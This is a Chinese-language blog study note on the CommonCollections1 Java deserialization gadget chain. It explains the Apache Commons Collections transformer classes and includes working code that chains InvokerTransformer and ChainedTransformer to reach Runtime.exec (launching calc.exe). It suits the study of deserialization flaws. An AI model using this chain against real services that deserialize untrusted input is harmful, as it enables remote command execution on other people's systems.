CommonCollections1


基础

Apache Commons Collections包和简介


Apache Commons Collections包对一些常用的数据结构进行了一些操作,提供了新的接口、实现。


环境:
commons-collections 3.1
jdk 7u80

 在CommonCollections1中,Java反序列化的入口类是AnnotationInvocationHandler(可以序列化,重写了readObject方法,并且传入的参数可控),出口是InvokerTransformer在它的transform方法中执行了反射。
 思路是在idea中对transform方法进行Find Usages(Alt + F7)去寻找其他类中实现这个方法的地方,在org.apache.commons.collections.map中找到两处:lazymap和transformedmap,然后继续查找上一层的方法。


Transformer接口

这个接口是对对象的一个转换,里面有一个Transformer方法,他有好几个实现类,在这里用到的是:ConstantTransformer,InvokerTransformer,ChainedTransformer,


InvokerTransformer

为什么它可以作为反序列化的出口?
它的transform方法中可以执行反射,进行命令执行。


public Object transform(Object input) {
       if (input == null) {
           return null;
       }
       try {
           Class cls = input.getClass();
           Method method = cls.getMethod(iMethodName, iParamTypes);
           return method.invoke(input, iArgs);

getRuntime类没有实现Serializable接口,所以不能序列化,Runtime r = Runtime.getRuntime()也就不可以,要用Runtime.class,class类实现了Serializable接口


正常反射代码:

      Class c = Runtime.class;
//获取构造方法,getRuntime方法能获取Runtime对象,无参
Method getRuntimeMethod = c.getMethod("getRuntime",null);
//获取Runtime对象,getRuntime方法是静态的,第一个参数为null
       Runtime r = getRuntimeMethod.invoke(null,null);
//获取exec方法
Method execMethod = c.getMethod("exec",String.class);
//反射
execMethod.invoke(r,"calc");

invokerTransformer代码:

//每一句都与正常反射语句相对应,并且后一句都使用上一句的结果
       Method method = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
       Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(method);
       new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"}).transform(runtime);

ConstantTransformer

实现了transformer接口,重写transform()方法
构造函数传入对象并赋值给iConstant
transform返回iConstant
它的transform最后都会返回iConstant值,不管传入该方法传入的参数如何

new ConstantTransformer(Runtime.getRuntime()),     
  //返回此Java应用程序的当前运行对象,然后包装此对象,回调时使用

ChainedTransformer

Transformer串联成Transformer[]
transformer():前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod", new Class[] {
               String.class,
               Class[].class }, new Object[] { "getRuntime",
               new Class[0] }),
           new InvokerTransformer("invoke", new Class[] { Object.class,
               Object[].class }, new Object[] { null, new Object[0]
           }),
           new InvokerTransformer("exec", new Class[] { String.class },
               new String[] {
                   "C:\\Windows\\System32\\calc.exe" }),};
Transformer transformerChain = new ChainedTransformer(transformers);

TransformedMap

它里面的checkSetValue方法调用了invokerTransformer中的transform方法,它这个类是用来修饰一个Map并对添加进来的对象进行转换

  protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
       super(map);
       this.keyTransformer = keyTransformer;
       this.valueTransformer = valueTransformer;
   }

   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
       return new TransformedMap(map, keyTransformer, valueTransformer);
   }

   protected Object checkSetValue(Object value) {
       return valueTransformer.transform(value);
   }

上面的checkSetValue方法就是要调用的方法,他会调用valueTransformer的transform方法,而valueTransformer就是构造函数中的第三个参数也就是之前的InvokerTransformer(第一个参数可以传入新建的Map对象,第二个参数可以暂时为空),decorate方法会返回一个它的新建的对象。

实现代码:

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"});


声明:啊小新sunny|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - CommonCollections1


Good friends, good books, and a sleepy conscience: this is the ideal life.